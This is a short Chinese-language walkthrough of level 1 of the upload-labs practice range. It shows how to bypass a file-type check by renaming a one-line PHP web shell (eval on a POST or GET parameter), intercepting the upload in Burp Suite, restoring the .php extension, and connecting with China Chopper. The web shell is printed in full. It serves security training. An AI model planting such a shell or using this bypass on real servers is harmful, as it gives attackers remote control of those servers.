upload-labs第一关

首先，打开靶场，进入第一关

然后先上传一个正常的图片，测试一下靶场安装是否正常

那再上传一个php文件试试。提示不行，只能上传jpg、png、gif类型的文件，说明这一关考的是限制文件上传的类型

那就用php（用其他语言写也行）写个一句话木马，然后将文件后缀改为png之类的

<?php
eval($_POST['123']);
//或者
eval($_GET['123']);
//123是密码，等下会用到，随便取什么值都行
?>

点上传文件之前，先给浏览器设置个代理服务器

然后在burp suite里抓包

把文件后缀从png改回php，再发送给服务器

右击刚刚上传的图片，啥都看不到是正常的

选择属性，找到刚刚上传的图片路径地址

在菜刀里找个空白的地方，右击鼠标，选择添加

添加好了之后，就会在第一行出现记录

点击它，就能连接后台了